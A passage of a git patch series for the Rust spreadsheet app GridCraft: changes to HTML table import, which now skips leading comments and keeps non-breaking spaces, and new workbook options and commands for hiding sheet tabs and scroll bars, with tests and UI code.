kept, and honoured on save; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | XLSX `` (Remove personal information from file properties on save) is read and written back, and while it is on GridCraft saves no author (`dc:creator`) and no company, as Excel leaves them empty (#3089, file part) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From 48c52e14af39c93b40f552e2ae41d0e25ef6e9f8 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:36:40 -0600 Subject: [PATCH 095/167] #3166: a web page opens after a leading comment and keeps its non-breaking spaces Addresses CodeRabbit review on #3223: - "Skip leading HTML comments before the prefix check": a page starting with an exporter's was read as CSV text. Complete leading comments are now skipped before looking for the page's start. - "Preserve nonbreaking spaces in HTML text imports": split_whitespace turned New  York into "New York". The decoded cell text is used as is (ordinary whitespace is already collapsed), so the non-breaking spaces stay, as Excel keeps them. Test: a_web_page_table_opens_after_a_leading_comment_and_keeps_nonbreaking_spaces. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io.rs | 13 +++++++++++-- crates/engine/src/io/tests.rs | 12 ++++++++++++ 2 files changed, 23 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index f62a55e40..913fcdd5a 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -357,7 +357,15 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { // Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters. let text = gridcraft_xlsx::decode_text(bytes); - let head: String = text.trim_start_matches('\u{feff}').trim_start().chars().take(16).collect::().to_ascii_lowercase(); + // Comments an exporter writes before the page (``) don't make it something else. + let mut rest = text.trim_start_matches('\u{feff}').trim_start(); + while let Some(after) = rest.strip_prefix("").and_then(|end| after.get(end + 3..)) { + Some(more) => rest = more.trim_start(), + None => break, + } + } + let head: String = rest.chars().take(16).collect::().to_ascii_lowercase(); if ![", bytes: &[u8], csv_as_text // cell keeps the text it shows. let field = match cell.num.filter(|_| !csv_as_text) { Some(n) => gridcraft_core::number_to_text(n), - None => cell.text.split_whitespace().collect::>().join(" "), + // Whitespace is already collapsed; non-breaking spaces stay, as in Excel. + None => cell.text.clone(), }; if field.contains(['\t', '\n', '\r', '"']) { format!("\"{}\"", field.replace('"', "\"\"")) } else { field } }) diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index fab60261f..ad3fae99c 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -656,3 +656,15 @@ fn a_web_page_table_keeps_its_characters_text_and_header_formats() { let (wb, _) = open_bytes_with("menu.xls", &page, None, true).unwrap(); assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::text("4,50")); } + +#[test] +fn a_web_page_table_opens_after_a_leading_comment_and_keeps_nonbreaking_spaces() { + // An exporter's comment before still makes a web page; ` ` stays a non-breaking + // space, as Excel keeps it, while ordinary whitespace collapses. + let page = "\n
New  Yorka \n b
"; + let (wb, warnings) = open_bytes("cities.xls", page.as_bytes()).unwrap(); + assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("New\u{a0}\u{a0}York")); + assert_eq!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::text("a b")); +} From 846cc09d67d9fb3c4dd2cbdf3653d3b111d59da2 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:34:55 -0600 Subject: [PATCH 096/167] #3101: show or hide the sheet tabs and scroll bars of a workbook MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Excel can hide the sheet tabs, the horizontal scroll bar and the vertical scroll bar of a workbook window (File › Options › Advanced › Display options for this workbook), saved with the workbook. GridCraft already read and wrote these settings (#3057) but always showed all three, and had no command or option for them. New commands view.showSheetTabs, view.showHorizontalScrollBar and view.showVerticalScrollBar {on?} (toggling without `on`, undoable, saved with the workbook), and a "Display options for this workbook" section in File › Options. The tab bar follows them: without the tabs the scroll bar takes the bar, without the scroll bar the tabs do, and with neither the bar isn't shown; without the vertical scroll bar the grid takes its width. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/view.rs | 36 +++ crates/engine/src/tests.rs | 19 ++ crates/ui-egui/src/backstage/options.rs | 18 +- crates/ui-egui/src/grid/show.rs | 12 +- crates/ui-egui/src/tabs.rs | 325 +++++++++++++----------- crates/ui-egui/tests/it/tab_split.rs | 46 ++++ docs/ui-parity.md | 3 +- 7 files changed, 303 insertions(+), 156 deletions(-) diff --git a/crates/engine/src/cmd/view.rs b/crates/engine/src/cmd/view.rs index c508890c3..3631d0e56 100644 --- a/crates/engine/src/cmd/view.rs +++ b/crates/engine/src/cmd/view.rs @@ -40,6 +40,27 @@ pub fn specs() -> Vec { cmd!("view.showZeros", "Show Zeros", [], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "zeros")), cmd!("view.showOutlineSymbols", "Show Outline Symbols", [], Some("Ctrl+8"), "{on?}", has_doc, |s, p| sheet_flag(s, p, "outlineSymbols")), cmd!("view.showObjects", "Show Objects", [], Some("Ctrl+6"), "{on?}", has_doc, show_objects), + cmd!( + "view.showSheetTabs", + "Show Sheet Tabs", + [], + None, + "{on?} (File › Options › Advanced, this workbook; toggles without `on`)", + has_doc, + |s, p| { workbook_view_flag(s, p, "sheetTabs") } + ), + cmd!( + "view.showHorizontalScrollBar", + "Show Horizontal Scroll Bar", + [], + None, + "{on?} (this workbook; toggles without `on`)", + has_doc, + |s, p| { workbook_view_flag(s, p, "horizontal") } + ), + cmd!("view.showVerticalScrollBar", "Show Vertical Scroll Bar", [], None, "{on?} (this workbook; toggles without `on`)", has_doc, |s, p| { + workbook_view_flag(s, p, "vertical") + }), cmd!("view.rightToLeft", "Sheet Right-to-Left", ["Page Layout", "Sheet Options"], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "rtl")), cmd!("view.zoom", "Zoom", ["View", "Zoom"], None, "{percent: 10..400}", has_doc, zoom), cmd!("view.zoom100", "100%", ["View", "Zoom"], None, "{}", has_doc, |s, _| zoom(s, &json!({"percent": 100}))), @@ -189,6 +210,21 @@ fn sheet_flag(s: &mut Session, p: &Json, which: &str) -> Result { }) } +/// File › Options › Advanced › Display options for this workbook: the sheet tabs and the two +/// scroll bars, saved with the workbook (``). +fn workbook_view_flag(s: &mut Session, p: &Json, which: &str) -> Result { + edit(s, |cx| { + let view = &mut cx.wb.view; + let slot = match which { + "sheetTabs" => &mut view.show_sheet_tabs, + "horizontal" => &mut view.show_horizontal_scroll, + _ => &mut view.show_vertical_scroll, + }; + *slot = bool_param(p, "on").unwrap_or(!*slot); + Ok(json!({"on": *slot})) + }) +} + /// Ctrl+6: hides every object, or shows them again. Placeholders (from a file) count as shown. fn show_objects(s: &mut Session, p: &Json) -> Result { use gridcraft_model::ShowObjects; diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 5f92718ba..4d0cabd17 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5457,3 +5457,22 @@ fn a_view_kept_through_redo_doesnt_make_the_saved_workbook_dirty() { assert_eq!(d.wb.active().unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview); assert!(!d.is_dirty(), "back at the saved edits, the view alone isn't a change"); } + +#[test] +fn workbook_display_options_are_commands() { + // #3101: Show sheet tabs / horizontal / vertical scroll bar, toggling without `on`, saved with + // the workbook and undoable. + let mut s = Session::new(); + s.new_workbook(); + let view = |s: &Session| s.doc().unwrap().wb.view; + assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(false)); + assert_eq!(s.execute("view.showHorizontalScrollBar", json!({"on": false})).unwrap()["on"], json!(false)); + assert_eq!(s.execute("view.showVerticalScrollBar", json!({"on": false})).unwrap()["on"], json!(false)); + let v = view(&s); + assert!(!v.show_sheet_tabs && !v.show_horizontal_scroll && !v.show_vertical_scroll); + let (back, _) = gridcraft_xlsx::read_xlsx(&gridcraft_xlsx::write_xlsx(&s.doc().unwrap().wb).unwrap()).unwrap(); + assert_eq!(back.view, v, "saved with the workbook"); + s.execute("edit.undo", json!({})).unwrap(); + assert!(view(&s).show_vertical_scroll); + assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(true), "toggles back"); +} diff --git a/crates/ui-egui/src/backstage/options.rs b/crates/ui-egui/src/backstage/options.rs index 6b9f70eb7..afe976733 100644 --- a/crates/ui-egui/src/backstage/options.rs +++ b/crates/ui-egui/src/backstage/options.rs @@ -2,7 +2,8 @@ use super::{Key, Language, Modifiers, SheetApp, Ui, dim, i18n, json, section, ve /// Excel's File › Options page: General (display theme, interface language and Show formula bar), /// Editing (AutoComplete) and Save (the autosave checkbox toggling `app.ui.autosave`), plus Formulas -/// (calculation mode and iterative calculation) when a document is active. Theme, language, formula +/// (calculation mode and iterative calculation) and the display options for this workbook (sheet +/// tabs and scroll bars) when a document is active. Theme, language, formula /// bar, AutoComplete and calculation changes run their commands through `run_or_alert`; calculation /// settings are saved with the workbook. pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) { @@ -26,7 +27,20 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) { if ui.checkbox(&mut autosave, lang.tr("Save .xlsx workbooks automatically after every change")).changed() { app.toggle_autosave(); } - let Some(calc) = app.session.active().map(|d| d.wb.calc.clone()) else { return }; + let Some((calc, view)) = app.session.active().map(|d| (d.wb.calc.clone(), d.wb.view)) else { return }; + ui.add_space(18.0); + // Excel's Advanced › Display options for this workbook: saved with the workbook (#3101). + section(ui, lang, "Display options for this workbook"); + for (on, label, id) in [ + (view.show_horizontal_scroll, "Show horizontal scroll bar", "view.showHorizontalScrollBar"), + (view.show_vertical_scroll, "Show vertical scroll bar", "view.showVerticalScrollBar"), + (view.show_sheet_tabs, "Show sheet tabs", "view.showSheetTabs"), + ] { + let mut on = on; + if ui.checkbox(&mut on, lang.tr(label)).changed() { + app.run_or_alert(id, json!({"on": on})); + } + } ui.add_space(18.0); section(ui, lang, "Formulas"); ui.label(lang.tr("Workbook calculation")); diff --git a/crates/ui-egui/src/grid/show.rs b/crates/ui-egui/src/grid/show.rs index f1416c2ec..287bd0bcd 100644 --- a/crates/ui-egui/src/grid/show.rs +++ b/crates/ui-egui/src/grid/show.rs @@ -20,7 +20,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { let available = ui.available_rect_before_wrap(); // A right-to-left sheet has its vertical scrollbar on the left. let rtl = app.session.active().and_then(|d| d.wb.active()).is_some_and(|s| s.right_to_left); - let bar = 14.0_f32.min(available.width()); + let bar = vertical_bar_width(app, available); let rect = if rtl { Rect::from_min_max(pos2(available.left() + bar, available.top()), available.max) } else { @@ -213,6 +213,12 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { update_clipboard_repaint(app, ui, now); } +/// The vertical scroll bar's width: none when the workbook hides it (File › Options › +/// Display options for this workbook), and the grid takes its room. +fn vertical_bar_width(app: &SheetApp, available: Rect) -> f32 { + if app.session.active().is_none_or(|d| d.wb.view.show_vertical_scroll) { 14.0_f32.min(available.width()) } else { 0.0 } +} + fn vertical_scroll_track(available: Rect, grid: Rect, rtl: bool) -> (f32, f32) { if rtl { (available.left(), grid.left()) } else { (grid.right(), available.right()) } } @@ -420,6 +426,10 @@ fn paint_panes(input: PanesInput<'_>, cf: &mut CfCache) -> Vec { /// The worksheet is painted virtually, so it needs its own scrollbar rather than a /// ScrollArea containing all million rows. Keep the scroll extent stable during a drag. fn vertical_scrollbar(app: &mut SheetApp, ui: &mut egui::Ui, sh: &Sheet, geo: &Geo, track_x: (f32, f32), limit: f32, t: &Tokens) { + // A workbook that hides its vertical scroll bar leaves it no width. + if track_x.1 <= track_x.0 { + return; + } let track = Rect::from_min_max(pos2(track_x.0, geo.cells.top() + geo.frozen_h), pos2(track_x.1, geo.cells.bottom())); if track.height() <= 0.0 || track.width() <= 0.0 { return; diff --git a/crates/ui-egui/src/tabs.rs b/crates/ui-egui/src/tabs.rs index 6702f7cb8..6147b2e14 100644 --- a/crates/ui-egui/src/tabs.rs +++ b/crates/ui-egui/src/tabs.rs @@ -100,29 +100,37 @@ fn tab_split_handle(app: &mut SheetApp, ui: &mut Ui, split: Rect, bar: (f32, f32 /// Draws the worksheet tab strip: navigation, scroll/reveal, rename/drag/move with optional copy, context menu, new-sheet button, split handle and grid scrollbar. pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { let t = Tokens::get(ui.ctx()); + // File › Options › Advanced › Display options for this workbook (#3101): with neither the + // sheet tabs nor the horizontal scroll bar, the bar isn't there at all. + let view = app.session.active().map(|d| d.wb.view).unwrap_or_default(); + if !view.show_sheet_tabs && !view.show_horizontal_scroll { + return; + } egui::Panel::bottom("sheet_tabs").exact_size(32.0).frame(egui::Frame::NONE.fill(t.tab_bar)).show(ui, |ui| { let rect = ui.max_rect(); ui.painter().line_segment([rect.left_top(), rect.right_top()], Stroke::new(1.0, t.ribbon_border)); ui.horizontal_centered(|ui| { ui.spacing_mut().item_spacing.x = 0.0; ui.add_space(8.0); - if crate::widgets::icon_button(ui, Icon::Left, t.text_dim, app.ui.language.tr("Previous sheet"), vec2(24.0, 24.0)).clicked() { - app.run_or_alert("sheet.previous", json!({})); + if view.show_sheet_tabs { + if crate::widgets::icon_button(ui, Icon::Left, t.text_dim, app.ui.language.tr("Previous sheet"), vec2(24.0, 24.0)).clicked() { + app.run_or_alert("sheet.previous", json!({})); + } + if crate::widgets::icon_button(ui, Icon::Right, t.text_dim, app.ui.language.tr("Next sheet"), vec2(24.0, 24.0)).clicked() { + app.run_or_alert("sheet.next", json!({})); + } + let all = crate::widgets::icon_button(ui, Icon::SheetList, t.text_dim, app.ui.language.tr("All sheets"), vec2(24.0, 24.0)); + all.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, app.ui.language.tr("All sheets"))); + let items = app.session.active().map(|d| navigator_items(&d.wb.sheets)).unwrap_or_default(); + let active = app.session.active().map(|d| d.wb.active_sheet().to_string()).unwrap_or_default(); + let rows: Vec<(&str, String)> = items.iter().map(|(i, name)| (i.as_str(), name.clone())).collect(); + if let crate::ribbon::ComboResult::Picked(i) = crate::ribbon::editable_combo(ui, &all, "sheet_navigator", &active, &rows, false) + && let Ok(i) = i.parse::() + { + activate_sheet(app, i); + } + ui.add_space(8.0); } - if crate::widgets::icon_button(ui, Icon::Right, t.text_dim, app.ui.language.tr("Next sheet"), vec2(24.0, 24.0)).clicked() { - app.run_or_alert("sheet.next", json!({})); - } - let all = crate::widgets::icon_button(ui, Icon::SheetList, t.text_dim, app.ui.language.tr("All sheets"), vec2(24.0, 24.0)); - all.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, app.ui.language.tr("All sheets"))); - let items = app.session.active().map(|d| navigator_items(&d.wb.sheets)).unwrap_or_default(); - let active = app.session.active().map(|d| d.wb.active_sheet().to_string()).unwrap_or_default(); - let rows: Vec<(&str, String)> = items.iter().map(|(i, name)| (i.as_str(), name.clone())).collect(); - if let crate::ribbon::ComboResult::Picked(i) = crate::ribbon::editable_combo(ui, &all, "sheet_navigator", &active, &rows, false) - && let Ok(i) = i.parse::() - { - activate_sheet(app, i); - } - ui.add_space(8.0); let Some(d) = app.session.active() else { return }; let (bar_left, bar_width) = (ui.cursor().left(), ui.available_width()); let uid = d.uid; @@ -143,6 +151,8 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { // After the handle at the scrollbar's left edge is dragged, the tabs and New sheet // take the share it was dragged to. let tabs_width = match share { + // Without the scroll bar the tabs have the whole bar. + _ if !view.show_horizontal_scroll => (bar_width - NEW_SHEET_WIDTH).max(0.0), Some(share) => (bar_width * share - NEW_SHEET_WIDTH).max(0.0), None => (bar_width * 0.6).max(100.0), }; @@ -155,154 +165,159 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { data.insert_temp(reveal_id, reveal_key); changed }); - ui.allocate_ui_with_layout(vec2(tabs_width, 30.0), egui::Layout::left_to_right(egui::Align::Center), |ui| { - // Translate vertical wheel movement into horizontal - // worksheet-tab scrolling. - let wheel_scroll = if ui.rect_contains_pointer(ui.max_rect()) { - ui.input(|i| { - let d = i.smooth_scroll_delta; - if d.x.abs() > d.y.abs() { d.x } else { d.y } - }) - } else { - 0.0 - }; + if view.show_sheet_tabs { + ui.allocate_ui_with_layout(vec2(tabs_width, 30.0), egui::Layout::left_to_right(egui::Align::Center), |ui| { + // Translate vertical wheel movement into horizontal + // worksheet-tab scrolling. + let wheel_scroll = if ui.rect_contains_pointer(ui.max_rect()) { + ui.input(|i| { + let d = i.smooth_scroll_delta; + if d.x.abs() > d.y.abs() { d.x } else { d.y } + }) + } else { + 0.0 + }; - egui::ScrollArea::horizontal() - .id_salt("worksheet_tabs_horizontal") - .auto_shrink([true, false]) - .min_scrolled_width(0.0) - .scroll_bar_visibility(egui::scroll_area::ScrollBarVisibility::AlwaysHidden) - .show(ui, |ui| { - if wheel_scroll.abs() > 0.0 { - ui.scroll_with_delta(vec2(wheel_scroll, 0.0)); - } - ui.horizontal(|ui| { - ui.spacing_mut().item_spacing.x = 0.0; - for (i, name, color, active) in sheets { - let renaming = app.grid.renaming_tab == Some(i); - let font = if active { theme::ui_bold(13.0) } else { theme::ui_font(13.0) }; - let tw = ui.painter().layout_no_wrap(name.clone(), font.clone(), t.text).size().x; - let w = (tw + 32.0).max(72.0); - let (r, resp) = ui.allocate_exact_size(vec2(w, 30.0), Sense::click_and_drag()); - if active && reveal_active { - resp.scroll_to_me(None); - } - let r = r.shrink2(vec2(0.0, 1.0)); - if active { - ui.painter().rect_filled(Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), 4.0, t.tab_active); - ui.painter().rect_stroke( - Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), - 4.0, - Stroke::new(1.0, t.ribbon_border), - StrokeKind::Inside, - ); - } else if resp.hovered() { - ui.painter().rect_filled(r, 4.0, t.hover); - } - if let Some(c) = color { - let band = Rect::from_min_size(pos2(r.left() + 6.0, r.bottom() - 4.0), vec2(r.width() - 12.0, 3.0)); - ui.painter().rect_filled(band, 1.0, theme::color32(c)); - } else if active { - let band = Rect::from_center_size(pos2(r.center().x, r.bottom() - 3.0), vec2(tw.min(48.0), 2.5)); - ui.painter().rect_filled(band, 1.0, t.accent); - } - if renaming { - let mut text = app.grid.rename_text.clone(); - let mut child = ui.new_child(egui::UiBuilder::new().max_rect(r.shrink2(vec2(6.0, 5.0)))); - let ed = child - .add(egui::TextEdit::singleline(&mut text).font(theme::ui_font(13.0)).desired_width(r.width() - 12.0)) - .accessible_name(app.ui.language.tr("Sheet Name")); - app.grid.rename_text = text.clone(); - if rename_needs_focus(ed.has_focus(), ed.lost_focus()) { - ed.request_focus(); + egui::ScrollArea::horizontal() + .id_salt("worksheet_tabs_horizontal") + .auto_shrink([true, false]) + .min_scrolled_width(0.0) + .scroll_bar_visibility(egui::scroll_area::ScrollBarVisibility::AlwaysHidden) + .show(ui, |ui| { + if wheel_scroll.abs() > 0.0 { + ui.scroll_with_delta(vec2(wheel_scroll, 0.0)); + } + ui.horizontal(|ui| { + ui.spacing_mut().item_spacing.x = 0.0; + for (i, name, color, active) in sheets { + let renaming = app.grid.renaming_tab == Some(i); + let font = if active { theme::ui_bold(13.0) } else { theme::ui_font(13.0) }; + let tw = ui.painter().layout_no_wrap(name.clone(), font.clone(), t.text).size().x; + let w = (tw + 32.0).max(72.0); + let (r, resp) = ui.allocate_exact_size(vec2(w, 30.0), Sense::click_and_drag()); + if active && reveal_active { + resp.scroll_to_me(None); } - if ed.lost_focus() { - if !ui.input(|i| i.key_pressed(egui::Key::Escape)) && text != name { - app.run_or_alert("sheet.rename", json!({"sheet": i, "name": text})); + let r = r.shrink2(vec2(0.0, 1.0)); + if active { + ui.painter().rect_filled(Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), 4.0, t.tab_active); + ui.painter().rect_stroke( + Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), + 4.0, + Stroke::new(1.0, t.ribbon_border), + StrokeKind::Inside, + ); + } else if resp.hovered() { + ui.painter().rect_filled(r, 4.0, t.hover); + } + if let Some(c) = color { + let band = Rect::from_min_size(pos2(r.left() + 6.0, r.bottom() - 4.0), vec2(r.width() - 12.0, 3.0)); + ui.painter().rect_filled(band, 1.0, theme::color32(c)); + } else if active { + let band = Rect::from_center_size(pos2(r.center().x, r.bottom() - 3.0), vec2(tw.min(48.0), 2.5)); + ui.painter().rect_filled(band, 1.0, t.accent); + } + if renaming { + let mut text = app.grid.rename_text.clone(); + let mut child = ui.new_child(egui::UiBuilder::new().max_rect(r.shrink2(vec2(6.0, 5.0)))); + let ed = child + .add(egui::TextEdit::singleline(&mut text).font(theme::ui_font(13.0)).desired_width(r.width() - 12.0)) + .accessible_name(app.ui.language.tr("Sheet Name")); + app.grid.rename_text = text.clone(); + if rename_needs_focus(ed.has_focus(), ed.lost_focus()) { + ed.request_focus(); } - app.grid.renaming_tab = None; + if ed.lost_focus() { + if !ui.input(|i| i.key_pressed(egui::Key::Escape)) && text != name { + app.run_or_alert("sheet.rename", json!({"sheet": i, "name": text})); + } + app.grid.renaming_tab = None; + } + } else { + ui.painter().text(r.center(), Align2::CENTER_CENTER, &name, font, if active { t.accent } else { t.text }); } - } else { - ui.painter().text(r.center(), Align2::CENTER_CENTER, &name, font, if active { t.accent } else { t.text }); - } - // A right-click activates the tab too, as in Excel, so the menu's sheet commands (Protect - // Sheet, Select All Sheets) act on the sheet that was clicked rather than the one that was active. - if resp.clicked() || (resp.secondary_clicked() && !active) { - activate_sheet(app, i); - } - if resp.double_clicked() { - app.grid.renaming_tab = Some(i); - app.grid.rename_text = name.clone(); - } - // Drag to reorder; with the copy modifier held, drop a copy instead. - let copy = drop_copies_sheet(ui.input(|inp| inp.modifiers), ui.ctx().os() == egui::os::OperatingSystem::Mac); - if resp.dragged() && copy { - ui.ctx().set_cursor_icon(egui::CursorIcon::Copy); - } - if resp.drag_stopped() - && let Some(p) = ui.input(|inp| inp.pointer.interact_pos()) - { - let dx = p.x - r.center().x; - let steps = (dx / w).round() as i64; - if let Some(params) = tab_drop(i, steps, copy) { - app.run_or_alert("sheet.move", params); + // A right-click activates the tab too, as in Excel, so the menu's sheet commands (Protect + // Sheet, Select All Sheets) act on the sheet that was clicked rather than the one that was active. + if resp.clicked() || (resp.secondary_clicked() && !active) { + activate_sheet(app, i); } - } - resp.context_menu(|ui| { - ui.set_min_width(180.0); - if ui.button(app.ui.language.tr("Insert Sheet")).clicked() { - app.run_or_alert("home.insertSheet", json!({"before": i})); - } - if ui.button(app.ui.language.tr("Delete")).clicked() { - app.run_or_alert("home.deleteSheet", json!({"sheet": i})); - } - if ui.button(app.ui.language.tr("Rename")).clicked() { + if resp.double_clicked() { app.grid.renaming_tab = Some(i); app.grid.rename_text = name.clone(); } - if ui.button(app.ui.language.tr("Move or Copy…")).clicked() { - app.open_dialog("moveSheet", json!({"sheet": i})); + // Drag to reorder; with the copy modifier held, drop a copy instead. + let copy = drop_copies_sheet(ui.input(|inp| inp.modifiers), ui.ctx().os() == egui::os::OperatingSystem::Mac); + if resp.dragged() && copy { + ui.ctx().set_cursor_icon(egui::CursorIcon::Copy); } - if ui.button(app.ui.language.tr("Duplicate")).clicked() { - app.run_or_alert("sheet.move", json!({"sheet": i, "to": i + 1, "copy": true})); + if resp.drag_stopped() + && let Some(p) = ui.input(|inp| inp.pointer.interact_pos()) + { + let dx = p.x - r.center().x; + let steps = (dx / w).round() as i64; + if let Some(params) = tab_drop(i, steps, copy) { + app.run_or_alert("sheet.move", params); + } } - ui.menu_button(app.ui.language.tr("Tab Color"), |ui| { - let colors = app.session.active().map(|d| d.wb.theme.colors).unwrap_or_default(); - if let Some(c) = crate::widgets::color_palette_fixed(ui, &colors, app.ui.language.tr("No Color")) { - app.run_or_alert("sheet.tabColor", json!({"sheet": i, "color": c})); + resp.context_menu(|ui| { + ui.set_min_width(180.0); + if ui.button(app.ui.language.tr("Insert Sheet")).clicked() { + app.run_or_alert("home.insertSheet", json!({"before": i})); + } + if ui.button(app.ui.language.tr("Delete")).clicked() { + app.run_or_alert("home.deleteSheet", json!({"sheet": i})); + } + if ui.button(app.ui.language.tr("Rename")).clicked() { + app.grid.renaming_tab = Some(i); + app.grid.rename_text = name.clone(); + } + if ui.button(app.ui.language.tr("Move or Copy…")).clicked() { + app.open_dialog("moveSheet", json!({"sheet": i})); + } + if ui.button(app.ui.language.tr("Duplicate")).clicked() { + app.run_or_alert("sheet.move", json!({"sheet": i, "to": i + 1, "copy": true})); + } + ui.menu_button(app.ui.language.tr("Tab Color"), |ui| { + let colors = app.session.active().map(|d| d.wb.theme.colors).unwrap_or_default(); + if let Some(c) = crate::widgets::color_palette_fixed(ui, &colors, app.ui.language.tr("No Color")) { + app.run_or_alert("sheet.tabColor", json!({"sheet": i, "color": c})); + ui.close(); + } + }); + ui.separator(); + if ui.button(app.ui.language.tr("Hide")).clicked() { + app.run_or_alert("sheet.hide", json!({"sheet": i})); + } + if ui.button(app.ui.language.tr("Unhide…")).clicked() { + app.run_or_alert("sheet.unhide", json!({})); + } + ui.separator(); + let protected = app.active_sheet_protected(); + if ui + .button(if protected { + app.ui.language.tr("Unprotect Sheet…") + } else { + app.ui.language.tr("Protect Sheet…") + }) + .clicked() + { + app.open_dialog("protectSheet", json!({})); + } + if ui.button(app.ui.language.tr("Select All Sheets")).clicked() { ui.close(); } }); - ui.separator(); - if ui.button(app.ui.language.tr("Hide")).clicked() { - app.run_or_alert("sheet.hide", json!({"sheet": i})); - } - if ui.button(app.ui.language.tr("Unhide…")).clicked() { - app.run_or_alert("sheet.unhide", json!({})); - } - ui.separator(); - let protected = app.active_sheet_protected(); - if ui - .button(if protected { - app.ui.language.tr("Unprotect Sheet…") - } else { - app.ui.language.tr("Protect Sheet…") - }) - .clicked() - { - app.open_dialog("protectSheet", json!({})); - } - if ui.button(app.ui.language.tr("Select All Sheets")).clicked() { - ui.close(); - } - }); - } + } + }); }); - }); - }); - ui.add_space(6.0); - if crate::widgets::icon_button(ui, Icon::Plus, t.text_dim, app.ui.language.tr("New sheet (⇧F11)"), vec2(26.0, 26.0)).clicked() { - 